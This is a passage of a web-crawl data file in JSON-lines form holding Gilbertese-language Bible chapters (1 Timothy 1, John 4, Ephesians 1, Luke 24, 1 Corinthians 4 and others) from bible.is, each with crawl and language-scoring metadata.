Uea e teimatoa n aki toki. Ao te taeka aei bon te euangkerio ae e tataekinaki nakoimi.\n1 BETERO 1","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/1","date":"2014-03-08T13:13:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654610\/warc\/CC-MAIN-20140305060734-00055-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":818,"character_repetition_ratio":0.043,"word_repetition_ratio":0.007,"special_characters_ratio":0.225,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro ae ana tia tuatua Kristo Iesu n ana taeka te Atua ae ara Tia Kamaiu, ma Kristo Iesu ae e mena irouna ara mwioko; 2nakon Timoteo, ae natiu ni koaua i nanon te onimaki: am bwai te aakoaki, ma te nanoangaaki, ma te raoi, mai iroun te Atua ae te Tama ma Kristo Iesu are ara Uea. 3Ko na tiku i Ebeto, n ai aron are I tuangko ngkoa ngke I nako Mwaketonia; ao tuangiia aomata tabemwaang ikekei bwa a na tai reireia te aba te koaua ae e kaokoro, 4ao a na tai kabanebuakai aia tai ni karaki nikawai aika a oteaki ma taiani kateiriki aika a rangi n ananau, aika a kariki taiani kauntaeka, ao a aki buoka ana kaantaninga te Atua are e ataaki n te onimaki. 5Te kaantaninga ibukin te bae ti tuangko iai, bwa e na reke irouia te tangira ae e bwebwe rake man te nano ae e itiaki ao mani mataniwiin te nano ae e raoiroi ma te onimaki ni koaua. 6Aomata aika a bwaoua nako kawaia mani baikanne a rairaki nakon te kauntaeka ae akea manenana. 7A kan riki bwa taan reirei ibukin te Tua. Ma a aki ataa te baere a taekinna, ma baike a kawimatoaia iai. 8Ma ti ataa te Tua bwa e raoiroi, ngkana e bwainaki iroun te aomata n te aro ae e riai, 9ngkae e ataa te Tua bwa e aki karaoaki ibukin te aomata ae e raoiroi, ma e karaoaki i bukiia aomata aika a akiako ma aika a aki ongeaaba, ao i bukiia aika a aki itiaki ma aika a eekaanako nanon te Atua ma taan bure, ao i bukiia aika akea karinean te Atua irouia ma taani kamwaraaei ana bwai te Atua, ao i bukiia taan tiringiia tamaia ma taan tiringiia tinaia, ma taan tiringiia aomata, 10ao i bukiia taani wene ni bure ma nikiranroro, ma mwaane aika a karaoi mwakuri ni kammaira ma raoia ni mwaane, ma taan iraeia aomata, ao i bukiia taani kewe ma taan tuea ni kewe, ao ibukini bwaai ni kabane, ngkana tao iai, aika a eekaanako te reirei ni koaua, 11are e nako man te euangkerio ae e mimitong are I mwiokoaki iai bwa N na taekinna, are te euangkerio mai iroun te Atua ae e riai ni karaoiroaki. 12I katituaraoa Teuare e kakorakoraai, are Kristo Iesu are ara Uea, bwa E atongai bwa I kakaonimaki, ngkae E rineai bwa te tia mwakuri ibukina. 13Bon te tia taetaebuaka ngai ngkoa, te tia bwainikiriina te aba, ao te tia iowawa; ma I nanoangaaki, ibukina ngke I karaoi arou akanne ma te roo n nano bwa I tuai n onimaki. 14Ma E rangi n aakoi te Uea nakoiu, ngke E anganai te onimaki ma te tangira ae ti bwainna ngkai ti reitaki ma Ngaia. 15E koaua te taeka aei, ao e riai ni kaakiaki i nanoia aomata ni kabaneia, ae te taeka ae e kaangai, E roko Kristo Iesu i aon te aba bwa E na kamaiuiia taani bure. Ngai te kabanea ni buaakaka; 16ma I nanoangaaki ibukin aei, bwa E na kaota taotaonan nanona Kristo Iesu irou, ngai ae te kabanea ni buaakaka i buakoia aomata, bwa te banna ni kakairi nakoia akana a nang onimakinna ao a na karekea te maiu are e aki toki. 17Ana bwai te Uea ae akea tokina, ae e aki maamate, ae e aki noonooraki, ae te Atua ae ti temanna, te karineaki ma te neboaki n aki tootoki. Amene. 18I anganiko te taeka aei, natiuae Timoteo, n ai aron taian taeka ni buraabeti ake a rimoa n taekiniko, bwa ko na kamanenaai bwa am bwai ni buaka bwa e aonga n nako raoi arom ni buaka, 19ao kaawakina am onimaki ma mataniwiin nanom ae e raoiroi. Iai tabemwaang aika a rawa n ongo ni bwanaan mataniwiin nanoia ae e raoiroi ao a karika te kabuanibwai nakon aia onimaki, kaanga ai aron te kaibuke ae e koro ao e uruaki; 20i buakoia te koraki aei bon Umenaio ma Arekantero, are I katikuia nakon Tatan, bwa a aonga n reireiaki bwa a na tai taetaebuakaa te Atua.\n1 TIMOTEO 1","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/1","date":"2014-03-10T21:36:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011022670\/warc\/CC-MAIN-20140305091702-00076-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":687,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E ataia Iesu bwa a a tia n ongo Bwaritaio ae E karekeia ana reirei ni kamwaitiia riki nakoni mwaitiia ana reirei Ioane, ao E bwaabetiitoiia n aron naba are e karaoia Ioane nakoia ana reirei 2(ma tiaki Iesu ae e bwabwaabetiito bwa bon ana reirei), 3ao E kiitana Iutaia, ao E a manga nako Kariraia. 4E riai bwa E na ri nuukan Tamaria. 5Ao E roko ni kaawana teuana ae arana Tukara, ae e kaani ma te aba are e anga Iakobwa nakon natina are Iotebwa. 6E mena ikekei ana mwanibwa Iakobwa; E a kua Iesu n nakonako, ma ngaia are E tekateka i etan te mwanibwa arei. Tao e a tawanou. 7E roko te aine temanna, ae te I-Tamaria, bwa e na roaa te ran. E taku Iesu nakoina, Kaamai bwa N na mooi. 8Akea ana reirei Iesu n te tai aei bwa a nako n te kaawa ni kaboo kanaia. 9E kaekaa Iesu neierei ao e taku, Ko kangaa ni butiai nimam, ngkai te I-Iutaia Ngkoe, ao ngai ainen Tamaria? Bwa a aki kan reitaki naba teutana I-Iutaia ma I-Tamaria. 10E kaeka Iesu ao E taku nakoina, Ngke tao ko ataa ana bwai n tangira te Atua, ao Teuae kaangai ngkai nakoim, Kaamai bwa N na mooi, ao ko na kamani butiia, ao Ngaia E a anganiko naba iai te ran ni kamaiu. 11E taku neierei nakoina, Teuaei, akea am bwai n iti ran, ao e nano te mwanibwa; ko karekea maia ngkanne te ran ni kamaiu? 12Ko kakannato riki nakon ara bakatibu are Iakobwa, are e anganiira te mwanibwa aei, ao e momooi maiai, ngaia ma natina ma ana man? 13E kaeka Iesu ao E taku nakoina, Ane e moooi n te ran aei ao e na mangataka, 14ma ane e mooi n te ran ae N na anganna, ao e na bon aki manga taka. Bwa te ran ae N na anganna, e na riki bwa te mwanibwa n ran i nanona are e na koburake ao e na anganna te maiu are e aki toki. 15E taku te aine nako Ina, Teuaei, Anganai te ran anne, bwa I aonga n aki manga taka ao n aki manga roko ikai n iti ran. 16E taku Iesu nakoina, Naako wetea bum, ao manga oki. 17E kaeka te aine arei ao e taku, Akea buu. E taku Iesu nakoina, E eti ane ko taku bwa akea bum; 18bwa niiman ngkoa bum, ao te mwaane ane ko taanga ma ngaia ngkai bon tiaki bum: te koaua ane ko atongnga. 19E taku te aine nakoina, Teuaei, I ataiko bwa te buraabeti Ngkoe. 20A tataromauri I-Tamaria ake ara bakatibu i aon te maunga aei; ao ngkami aika I-Iutaia kam taku bwa Ierutarem boni ngaia te tabo are a na tataromauri iai aomata. 21E taku Iesu nakoina, Neiko, ko na kakoauaai bwa ane e na roko te tai are a na aki taromauriia iai te Tama aomata i aon te maunga aei, ke i Ierutarem. 22Ngkami I-Tamaria kam taromauriia ae kam aki ataia; ma ngaira I-Iutaia ti taromauriia ae ti ataia: bwa e roko te kamaiuaki ri nanon te bootanaomata ae I-Iutaia. 23Ma e a tabe n roko te aoa, ao ngaia e a kaman roko, are a na angan te Tama taan taromauri ni koaua taromauriiana ni mwaakan te Taamnei, ao taromauriiana n aron are E tangiria: bwa aikai aekan aomata aika E tangiriia te Tama. 24Te Atua bon te Taamnei: ao akana a taromauriia e riai bwa a na taromauriia ni mwaakan te Taamnei, ao n aron are E tangiria. 25E taku te aine nakoina, I ataa ae E nangi roko te Mesia (are te Kristo); ao ngkana E roko, ao ane e na tuangiira bwaai ni kabane. 26E taku Iesu nakoina, Boni Ngaia Ngai, ae I taetae nakoim. 27A roko naba ngkanne ana reirei, ao a miimii ngke E taetae ma te aine, ma akea irouia ae e kaangai, Tera ae Ko tangiria? ke, E aera ngkai Ko taetae ma ngaia? 28E katuka ngkanne nnen ana ran te aine arei, ao e nako n te kaawa, ao e taku nakoia aomata ikekei, 29Nako mai noora te aomata are e tuangai bwaai ni kabane ake I a tia ni karaoi. Tao ngaia te Kristo? 30A oti nako aomata man te kaawa, ao a nako n Iesu. 31A butiia ngkanne Iesu ana reirei ni kaangai, Te Tia Reirei, Ko na amwarake. 32Ma E taku nakoia, Bon iai te amwarake irou ae N na kanna ae kam aki ataia. 33Ma ngaia are a i titiraki irouia ana reirei ni kaangai, Iai ae e a tia n uota kanana nakoina? 34E taku Iesu nakoia, Kanau bon te ongeaaba nakon nanon Teuare e kanakomaiai, ao te katiaa ana mwakuri. 35Tiaki kam taku, Aua riki te namwakaina, ao a roko tain uaa n tai ao ni bobootaki? Noria, I tuangkami, Tabeki matami, ao tarai taabo aika a unikaki, bwa a tai uaa ao a tau nakon te bobootaki. 36Ane e bobooti uaa nakoni nneia ngkana a tai ao e kabooaki, ao e booti uaa ibukin te maiu are e aki toki; bwa a aonga n uaia ni kimwaareirei te tia unuuniki ma te tia bobooti uaa. 37Bwa e koaua n aei te taeka are e kaangai, E unuuniki temanna, ao temanna e bobooti uaa nakoni nneia ngkana a tai. 38I kanakoingkami bwa kam na bobooti uaa akana a tai nakoni nneia man taabo n unuuniki ake kam aki mwakurii; a mwakuri tabemwaang, ao ngkami kam kareke kabwaiami man uaani mwiin aia mwakuri. 39A bati I-Tamaria n te kaawa arei ake a onimakina Iesu ibukin ana taeka te aine ake a kaangai: E tuangai bwaai ni kabane ake I a tia ni karaoi. 40Ma ngaia arei, ngke a roko irouna I-Tamaria, ao a butiia bwa E na tiku irouia, ao Ngaia E tiku ikekei uabong. 41A bati riki ake a onimaki n ana taeka, 42ao a taku nakon te aine arei, Ai tiaki ibukin am taeka ae ti onimaki iai, bwa ae ti a bon ongo mai irouna, ao ti a ataia bwa ngaia bon aei te Tia Kamaiua te aba. 43I mwiin uabong ao E kiitana ikekei Iesu nako Kariraia. 44Bwa E a bon tia Ngaia n taekinna bwa akea karinean te buraabeti irouia kaain abana. 45Ma ngaia are ngke E roko i Kariraia, ao a mwaneia n akoia I-Kariraia, bwa a a tia n noori ana mwakuri ake E karaoi i Ierutarem n tain te Toa are te Riao, are a roko naba iai. 46E a manga oki Iesu nako Kana i Kariraia ike E karaoa ngkoa iai te ran bwa te wain. E mena ikekei te aomata temanna ae e mwakuri n te tautaeka ae e aoraki natina te mwaane i Kaberenaum. 47Ngke e ongo bwa E nako mai Iutaia Iesu nako Kariraia, ao e nakoina ni butiia bwa E na nako Kaberenaum ni kamaiua natina, bwa e a kaani mate. 48E taku Iesu nakoina, Ngkana kam aki noori kanikina ma mwakuri aika a kamiimii, ao kam rawa n onimaki. 49E taku te tia mwakuri n te tautaeka nakoina, Te Uea, Ko na nako mai ngkai e tuai ni mate natiu. 50E taku Iesu nakoina, Ko na nako; e na maiu natim. Ao teuarei e kakoauaa ana taeka Iesu ao e nako. 51I aoni kawaina n nako, ao a bo ma ngaia ana toro; a tuangnga ae e a marurung natina. 52E titirakiniia ngkanne bwa te aoa iraua are e moanna iai ni marurung. A taku nakoina, E toki kabuebuena ngkoananoa, n te aoa teuana n te tanimaeaontaai. 53E ataia iai te tama bwa bon te aoa naba are e kaangai iai Iesu, E na maiu natim. Ma ngaia are e onimaki, ao a onimaki naba kaain ana auti ni kabaneia. 54Aei te kauoua ni mwakuri ae e kamiimii are E karaoia Iesu ngke E roko i Kariraia n ana kauoua n tai ni mwanangana mai Iutaia.\nIOANE 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/4","date":"2014-03-09T15:23:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999679512\/warc\/CC-MAIN-20140305060759-00043-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1317,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.245,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, nakoia ake a itiaki ake i Ebeto ake a teimatoa ni katiteuanaaki ma Kristo Iesu ni maiuia: 2Ami bwai te aakoaki ma te rau mai iroun te Atua are Tamara, ma te Uea are Iesu Kristo. 3E na karaoiroaki te Atua are Taman ara Uea are Iesu Kristo, are E kakabwaiaira iroun Kristo ni bwaai ni kakabwaia ni kabane ake mai irouna, ake bwaini karawa. 4Bwa i mwaaini karikan aonnaba ao E a kaman rineira ibukina ngkai katiteuanaaki ma Kristo, bwa ti aonga n itiaki ma n aki baareka i matana; ao n ana tangira, 5E a kaman tia ni baaireia, n ai aroni kukurein nanona, bwa ti na natinaki irouna iroun Iesu Kristo. 6Ti na neboa te Atua bwa E rangi n tituaraoi nakoira ibukin Natina are E taatangiraki irouna, 7are ti karekea te kainaomataaki irouna n raraana are nanona bwa a kabwaraaki ara bure. Ai mwaitira ana akoi, 8are E kabatiaa n akoira iai! wa n te rabwakau ni kabanea ma te ataibwai, 9ao E a tia ni kaota nakoira nanona ae e raba, n ai aron nanona are E tangiria, are E a kamani baaireia i nanona; 10ana baaire aei, are E na katiaa karaoana ngkana e koro raoi bongina, bon te booti bwaai ni kabane aika a karikaki, aika bwaini karawa ma bwain aonnaba, bwa a na reitaki ma Kristo ao a na taraia bwa atuuiia Ngaia. 11A bane bwaai nako ni karaoaki n ai aron nanon te Atua ma ana babaaire; ao E a tia te Atua n rineira bwa ana aomata, ngkai ti katiteuanaaki ma Kristo, ibukin oin nanona n ai aron are E a kaman tia ni baaireia ma ngkoa mani moan rikini bwaai; 12bwa ti aonga ni kamoamoa mimitongina, ngaira aika ti moa n onimakina Kristo. 13Ao ngkami naba, ngke kam ongo taekan te koaua, are te euangkerio are bwaini kamaiuami, ao kam onimakinna naba; ao kam anganaki te Taamnei are e Raoiroi bwa kanikinaaean ae ana bwai te Atua ngkami—te Taamnei aei are e atongaki n te taeka n akoi. 14Ngkai ti anganaki te Taamnei ao ti aki nanokokoraki bwa a na bon reke iroura baike E a tia te Atua n taekin bwa E na anganiia ana aomata; ao n tokina E na anganiia ake ana bwai te kainaomataaki man te bure, bwa e aonga ni kamoamoaaki mimitongina. 15Ma ngaia aei, ngke I ongo taekan aromi n onimakina te Uea are Iesu, ma taekan tangiraia ake a itiaki iroumi, 16ao I aki toki naba ni katituaraoa te Atua i bukimi, ma n ururingkami n au tataro, 17bwa te Tama ae e mimitong, are Atuan ara Uea are Iesu Kristo, E na anganingkami te Taamnei are E na kawanawanaingkami, ma ni kaota te Atua nakoimi bwa kam aonga n ataia; 18ngkai a kaootaki matan nanomi bwa kam aonga n ataia bwa tera te kaantaninga n ana weewete, tera te kabwaia ae e bati ae e kamiimii arona, are E na anganiia ake a itiaki; 19ao tera aroni mwaakana ae e raka korakorana, nako ira ngaira aika ti onimaki. Te mwaaka aei bon ti te bo ma korakorani mwaakana, 20are E kamwakuria irouni Kristo ngke E a manga kamaiua man te mate, ao E katekatekaa i angaataina i karawa, 21ike E tau-taeka iai i aoia ueea ni kabaneia, ma ake a korakora, ma ake a mwaaka, ma ake a tau-taeka, ao i aoia aara ni kabane aika a atongaki, tiaki i aon ti te aba aei, ma i aon naba te aba are e na roko. 22Ao E kaaki bwaai ni kabane i aani waeni Kristo, ao E anga Kristo nakon te ekaretia bwa atuuni bwaai ni kabane; 23ao te ekaretia bon rabwatani Kristo, ao onrakeni Kristo, are Ngaia ae e kaoni bwaai ni kabane n taabo ni kabane.\nEBETO 1","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/1","date":"2014-03-10T20:11:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010995802\/warc\/CC-MAIN-20140305091635-00084-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":641,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a ingabong, i mwaain otin taai, ni moani bongin te wiiki, ao a nako naakekei nakon te nne ni mate, ma baike a boiarara ake a a tia ni katauraoi. 2Ao a noora te atiibu bwa e karabinoaki nako man te nne ni mate; 3ma ngke a rin, ao a aki kunea rabwatan te Uea are Iesu. 4Ngke a mino aia iango n te bwai are e riki, ao nooria, a tei uomani mwaane i rarikiia aika bwainiia ni kunnikai aika raneanea; 5ao ngke a kabaraakii mataia bwa a maaku, ao a taku mwaane akekei nakoia, 6E aki mena ikai, bwa E a tia ni manga maiu. Kam na uringa ana taeka are E tuangkami, ngke E mena i Kariraia, are e kaangai, 7bwa e riai bwa E na kamwaneaki Natin te Aomata nako nanoni baiia aomata aika buaakaka, ao E na kamateaki n te kaibangaki ao E na manga maiu n te kateni bong. 8Ao naakekei, a uring ana taeka, 9ao ngke a oki man te nne ni mate, ao a taekini baikekei ni kabane nakoia uaake tengauni ma temanna ma raoia ni kabaneia. 10Ao naakekei boni Nei Maria te I-Mwaketara, ma Nei Ioana, ma Nei Maria are tinan Iakobo, ao aine ake tabeman ake raoia; a tuangiia abotoro baikekei; 11ma taeka aikai n aia katautau uaakekei, kaanga ai aron te rongorongo ae akea nanona, ao a aki kakoauai. 12Ma e tei rake Betero, ao e biri nakon te nne ni mate. Ngke e bwatiku n taraa nanona, ao e noori kunnikaia ake a mainaina ni wene n ti ngaiia; ao e okiokira mwengana n iangoa te baere e a tia n riki. 13Ao nooria, a nako uoman mai buakoia uaakekei, n te bongi naba arei, nakon te kaawa ae arana Emwauti, ae tao itiua te maire raroana ma Ierutarem. 14A maroorooakin taekani bwaai ni kabane ake a a tia n riki. 15Ao ngke a tabe ni maroro ma ni kauntaeka i bon irouia, ao E kaaniia Iesu ao E airi ma ngaiia. 16Ma a aki kinaa bwa Iesu. 17Ao E taku nakoia, Tera ae kam a boni kakarabakauakinna ngkai kam nakonako? 18Ao temanna irouia ae arana Kireoba, e kaeka ni kaangai, Ti Ngkoe te aomata ae e mena i Ierutarem ae e aki ongo taekani baika a tia n riki ikekei i nanon tabeua boongi n nako? 19Ao Ngaia E kaangai nakoia, Ae bwaai baikara? Ao a kaeka ni kaangai, Ae taekan Iesu are te I-Natareta, are e kaota aroni kakoauaakina, ni baika E karaoi ao n ana taeka bwa te buraabeti Ngaia i matan te Atua ma aomata ni kabaneia; 20ao ara ibonga ake mataniwi ma taan tautaeka, a anga Ngaia bwa E na motikaki taekana nakon te kamateaki, ao a kamatea n te kaibangaki. 21Ma e tiku ara kaantaninga irouna bwa Ngaia ae e na kamaiuiia Iteraera. I rarikin aei, ai te katenua ni bong ngkai man te tai are a riki iai baikekei. 22Ma e ngae n anne, ao a kakubaira ara koraki n aine tabeman ake a roko n te nne ni mate: a nako n te nne ni mate ngke e a moanna n oti matan taai, 23ma a aki kunea rabwatan Iesu, ao a oki ma aia rongorongo ae a nooriia anera, ake a taku bwa E maiu Teuarei. 24A nako n te nne ni mate raora tabemwaang, ao a noora are a atongnga aine akekei bwa e koaua, ma a aki noora Teuarei. 25Ao E taku Iesu nakoia, Aomata aika kam nanobaba, ao kam waeremwe n iri nanoni bwaai ni kabane ake a atongi buraabeti ! 26Tiaki e riai bwa E na karawaawataaki ni baikekei te Kristo, ao bwa E na rin i nanoni mimitongina? 27Ao E kaotai nakoia nanon taeka ake a koreaki ni mwakoroni booki n te Baibara, ake a kaeti nako Ina bwa taekana, ao E moanna man ana boki Mote ma aia boki buraabeti. 28A kaania te kaawa are a nako iai, ao Iesu, E bakaaea te nako riki, 29ma a imanonoiia uaakekei ao a kaangai, Ko na tiku iroura, bwa e a kaani bong ao e a kaan toki te ngaina, Ao Ngaia E rin n te auti n tiku ma ngaiia. 30Ngke E taibora n amwarake ma ngaiia, ao E anaa te kariki ao E tataro ni katituaraoi, ao E urua, ao E anganiia. 31Ao a kaureaki mataia ao a kinaa; ao E bua mai mataia. 32A i taetae irouia ni kaangai, Tiaki a riingaki nanora ngke E taetae nakoira i nanon te kawai, ao ngke E kabwaraa nanon te Baibara nakoira? 33Aoa tei rake n te aoa naba arei, ao a okira Ierutarem; ao a kuneia uaake tengauni ma temanna bwa a bootaki ma raoia, 34ao a kaangai, E a bon tia ni manga maiu te Uea, ao E a tia ni kaoti nakon Timon! 35A taekina ngkanne te bwai are e a tia n riki i nanon te kawai, ao aroia ngke a kinaa te Uea n te tai are E urua iai te kariki. 36Ngke a tabe n atongi baikai, ao E tei Iesu i buakoia, ao E taku nakoia, E na mena te rau i aomi, 37A taonaki n te maaku ae e korakora, ao a taku bwa a noora te anti. 38Ao Ngaia E taku nakoia, Kam aera ngkai kam maku? ao e aera ngkai a waerake taian titiraki i nanomi? 39Kam na tarai baiu ma waeu, bwa boni Ngai; kam na riingai ao taraai: bwa akea irikon ao riin te taamnei n ai aron ae kam noori bwa iai irou. 40Ngke E a tia n atonga aei, ao E kaoti baina ma waena nakoia. 41Ao ngke a tiku n aki kakoauaa ibukin te kimwaareirei ma te miimii are e reke irouia, ao E taku nakoia, Iai kanami iroumi ikai? 42A anganna te mwakoro n ika ae e tinimaki; 43ao E anaia, ao E kanna i mataia. 44Ao E taku nakoia, Aikai au taeka ake I atong ngkoa nakoimi, ngke I meemena iroumi, bwa e riai bwa bwaai ni kabane ake a taekinaki i bukiu n ana tua Mote ma aia boki buraabeti, ao i nanon Taian Areru, a na bane ni kakoroaki bukiia. 45Ao E buoki aia iango bwa a aonga n ataa nanon are e koreaki n te Baibara; 46ao E taku nakoia, E koreaki ae e kaangai, bwa e riai bwa E na karawaawataaki ni kamateaki te Kristo, ao E na manga maiu mai buakoia maate n te katenibong; 47ao bwa e na tataekinaki rairan te nano ma kabwaraani buure n arana i buakoia bootanaomata ni kabaneia, ni moa n taekinaki mai Ierutarem. 48Ngkami taan taekini baika kam a tia n noori. 49Ao nooria, N na kanakoa nako aomi te baere E a tia ni kabwakaa iai ana taeka Tamau bwa E na karaoia; ma kam na tiku i Ierutarem, ni karokoa anganakimi te mwaaka mai karawa. 50Ao E kairiia Iesu nako tinanikun Ierutarem ni karokoa a kaani ma Betania; ao E katei baina, ao E taetae ni kakabwaiaiia. 51Ngke E tabe n taetae ni kakabwaiaiia, ao E raure ma ngaiia, ao E uotaki nako karawa. 52Ao a taromauriia, ao ao a manga, okira Ierutarem ma te kimwaareirei ae e bati; 53ao a kabanei aia tai n te umwantabu, ni kakaraoiroa te Atua.\nRUKA 24","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/24","date":"2014-03-14T12:13:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678692841\/warc\/CC-MAIN-20140313024452-00087-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1208,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aei arora ae kam na iangoira iai: iangoira bwa ana toro Kristo, aika touati ibukin tataekinani baika a raba aika ana bwai te Atua. 2Ao te bae e tangiraki mai irouia touati bon aroia ni kakaonimaki. 3Ma irou, e aki rangi ni kakaawaki nakoiu neneran taekau iroumi, ke n te kaboowi; ao e aki mena irouu motikan taekau. 4Bwa I aki ataa te bwai ae I bure iai; ma aei e aki kakoauaa arou bwa I aki kabuaakakaaki. Bon te Uea ae te tia motika taekau. 5Ma ngaia ae kam na tai motika taekan te aomata i mwaain taina raoi, are tain rokon te Uea, are E na kaoti bwain te roo aika a raba, ao E na kaoti naba iango aika a raba i nanoia aomata. Ao ngkanne ane a na anganaki aomata nako kamoamoaaia mai iroun te Atua. 6Ao baikai, taari, I a tia ni kaboonganai bwa taekau ma Aboro i bukimi, bwa kam aonga n reireiaki iai iroura nanon te taeka are e kaangai: Tai ri aon taeka ake a koreaki; bwa kam aonga n aki kamoamoaa temanna bwa e raoiroi riki nakon temanna. 7Bwa antai ae e karaoiko bwa e na raka arom nakoia temwaangina? Ao tera ae iai iroum ae ko aki anganaki? Ao ngkana e a tia n reke iroum, ao ko aera ngkai ko kamoamoako bwa aongkoa ko aki anganaki? 8Kam a kaman rauaki! Kam a kaman riki bwa kaubwai ngkami! Kam a tia n riki bwa ueea, ao ngaira bwa aomata aika akea wareia. Kam bia bon riki bwa ueea ngkami, bwa ti aonga n uea naba ma ngkami. 9Bwa I taku n au iango bwa E a tia te Atua n anganiira ngaira aika taan tuatua nera ae te kabanea mai buki, bwa kangaa aomata ake a a tia ni baaireaki taekaia bwa a na kamateaki, ao ti riki bwa bwaai ni kamataku nakon te aonnaba—nakoia anera ma aomata nako. 10Ti baba ibukini Kristo, ma kam wanawana irouna. Ti mamaara, ma kam korakora. Kam karineaki, ma ti aki karineaki. 11Ma ngkekei ni karokoa ngkai ao ti baki ma n taka; e kaan ae ti nang aki kunnikaira; ti oreaki; ao ti tuai n tekateka ni maeka; 12ao akea motirawara ni mwakuri ma baira. Ngkana a taetae n iowawa aomata nako ira, ao ngaira ti taetae ni kakabwaiaiia; ngkana ti bwainikiriinaki, ao ti taotaon nanora. 13Ngkana a taekinaki arora ni kabuaakakaaki, ao ti kabooi n taeka aika a raraoi. Ti riki ni karokoa te bong aei bwa kaanga maangen aonnaba ma baarekani bwaai ni kabane. 14I aki koroi baikai bwa kam aonga ni mamaa, ma I kan reireingkami bwa kaanga natiu aika a tangiraki. 15Bwa e ngae ngkana tebwina te ngaa mwaitiia aomata aika a reireingkami taekani Kristo, ma ti temanna tamami: I riki bwa tamami i nanoni Kristo Iesu n te euangkerio are I uotia nakoimi. 16Ma ngaia ae I butingkami bwa kam na kakairi irou. 17Anne bukin ae I kanakoa iai Timoteo nakoimi, ae natiu ae e tangiraki ae e kakaonimaki, i nanon te Uea, bwa e na kauringngkami taiani koaua aika I nakonako iai n onimakinan Kristo Iesu; ao boni ngaai naba aika I reireiniia iai kaain te ekaretia n taabo ni kabane. 18Iai temwaangina i buakomi aika a kainikatonga ibukin aia iango are a taku bwa N na aki nakoimi. 19Ma e aki maan ao N na roko iroumi, ngkana nanon te Uea, ao N na ataa raoi mwaakaia aomata akana kainikatonga akanne; ma akea nanou n aia taeka. 20Bwa uean te Atua e a nooraki arona ni maiuia aomata ni baika a karaoi ma tiaki n taeka ake a atong. 21Tera ae kam tangiria n rokou iroumi? Kam tangirai bwa N na roko ma te bwai ni kataere, ke te tangira ma te nano ae e nimaamannei?\n1 KORINTO 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/4","date":"2014-03-09T21:08:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010352519\/warc\/CC-MAIN-20140305090552-00073-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":631,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A bati aomata ake a tia ni koroi taekani baike a tia n riki i buakora, 2ao a reke aia rongorongo mai irouia te koraki ake a tia n noori baikekei mai moana, ake taan tataekina te euangkerio; 3ma I taku bwa e raoiroi naba irou, ngkai I a tia ni karaua n ukoukori taekani bwaai ni kabane i nanon taai aika tia n nako, bwa N na koroi naba n te aro ae e nako raoi riki i bukim, Teobiro ae ko karineaki, 4bwa ko aonga n atai koauani baike ko a tia n reireiaki iai. 5I nanon ana tai n uea Erote, are ueani Iutaia, ao iai te ibonga temanna ae arana Takaria, ae kaain te uatei n ibonga ake a reke i aan aran Abiia; ao buuna e riki man ana utu Aaron mai irouia natina ake aine, ao arana Nei Eritabeta. 6Ao a bwaina te maiu ae e raoiroi Takaria ma Nei Eritabeta i matan te Atua n aroia n tou mwiin ana tua ma ana moti nako te Uea n aki buubure iai. 7Akea natiia bwa e kanoaboo Nei Eritabeta, ao a uaia ni kara. 8Ngke e tabe Takaria ni karaoa nakoana n ibonga i matan te 